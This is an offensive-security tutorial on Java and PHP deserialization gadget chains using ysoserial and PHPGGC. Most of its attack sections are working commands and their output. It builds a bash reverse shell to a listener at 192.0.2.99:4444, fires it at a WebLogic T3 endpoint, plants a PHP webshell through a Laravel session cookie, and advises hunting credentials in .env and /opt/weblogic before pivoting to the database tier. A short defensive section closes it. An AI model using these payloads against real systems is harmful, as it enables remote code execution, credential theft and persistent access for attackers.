In 2021, the Apache Commons Collections deserialization bug chained through CVE-2015-4852 was still popping shells on unpatched WebLogic servers years after disclosure. Deserialization vulnerabilities are deceptively simple: the application trusts serialized data it never should. The attacker supplies a crafted object graph — a gadget chain — that routes through existing library code to execute arbitrary commands.
How Gadget Chains Work
A gadget chain is a sequence of classes already loaded in the JVM (or PHP runtime) that, when deserialized in order, ultimately call something dangerous — like Runtime.exec() or eval(). You don’t write new code. You abuse existing code the application already trusts.
Think of it like a Rube Goldberg machine built from the target’s own dependencies. Each gadget passes execution to the next until you reach a sink that runs your command.
Java: Generating a Payload with ysoserial
ysoserial — a tool that generates serialized Java payloads for known gadget chains. It targets common libraries like Commons Collections, Spring, and Groovy that appear in enterprise Java apps.
Suppose you’re assessing an internal inventory app at http://192.0.2.47:8080 running WebLogic with a T3 endpoint. You’ve confirmed it deserializes inbound objects. Here’s how you’d generate and fire a payload:
# Generate a reverse shell payload using CommonsCollections6
java -jar ysoserial.jar CommonsCollections6 \
'bash -i >& /dev/tcp/192.0.2.99/4444 0>&1' \
> cc6_payload.ser
# Confirm the payload looks like a Java serialized object
xxd cc6_payload.ser | head -2
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
# Send it to the T3 endpoint
python3 exploit_t3.py --host 192.0.2.47 --port 7001 --payload cc6_payload.ser
The magic bytes ac ed 00 05 confirm this is a valid Java serialized stream. Any endpoint that accepts and deserializes this without validation will trigger the chain. On your listener at 192.0.2.99:4444, you’d see:
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.0.2.47 51203
bash: no job control in this shell
[oracle@inv-prod-01 ~]$
You’re now running as the oracle service account. Next move: check sudo -l, look for credential files in /opt/weblogic/, and pivot toward the database tier. The shell is your foothold — what the chain gets you is arbitrary.
PHP: Crafting a Chain with PHPGGC
PHPGGC (PHP Generic Gadget Chains) does for PHP what ysoserial does for Java. It targets frameworks like Laravel, Symfony, Guzzle, and Monolog.
Imagine a Laravel 8 app at https://portal.corp-internal.dev that stores session data as base64-encoded serialized PHP objects in a cookie. You find the laravel_session cookie is processed server-side without HMAC verification — a misconfiguration that happens more than it should.
# List available Laravel gadget chains
php phpggc --list | grep Laravel
Laravel/RCE1 Laravel 5.4 <= 5.8 RCE: Command
Laravel/RCE4 Laravel 5.5 <= 8.x RCE: Command
Laravel/RCE9 Laravel >= 9.x RCE: Command
# Generate payload: write a webshell to /var/www/html/storage
php phpggc Laravel/RCE4 system \
'echo "<?php system(\$_GET[cmd]); ?>" > /var/www/html/storage/x.php' \
-b
TzoxNDoiSWxsdW1pbmF0ZVxC... [truncated base64]
That base64 blob is your malicious serialized object. Drop it into the laravel_session cookie value and send a request. If the app deserializes it, Laravel’s own Illuminate pipeline executes your system() call before the app even touches your request logic.
curl -s -b \
"laravel_session=Tzox..." \
https://portal.corp-internal.dev/dashboard
# Then access the dropped shell
curl "https://portal.corp-internal.dev/storage/x.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
You now have a webshell running as www-data. From here, enumerate environment variables for database credentials — Laravel stores them in .env — and look for internal network routes the app server can reach.
What Makes These Exploits Work
Three conditions have to align: the application deserializes attacker-controlled data, vulnerable gadget libraries are on the classpath or autoload path, and there’s no integrity check (HMAC, signature) on the serialized blob. Remove any one of these and the chain breaks.
Defenders should audit every deserialization entry point — HTTP bodies, cookies, message queues, RMI endpoints. Use SerialKiller for Java (a deserialization firewall that whitelists allowed classes) and disable PHP’s unserialize() on untrusted input entirely, favoring JSON instead.
What To Do Now
Pull up one Java or PHP application you own or are authorized to test. Run grep -r "unserialize" . in PHP or search your Java dependencies for commons-collections in your pom.xml or build.gradle. If you find either, cross-reference the version against ysoserial’s or PHPGGC’s supported chain list. That gap between “it’s there” and “we know it’s safe” is exactly where deserialization RCEs live.
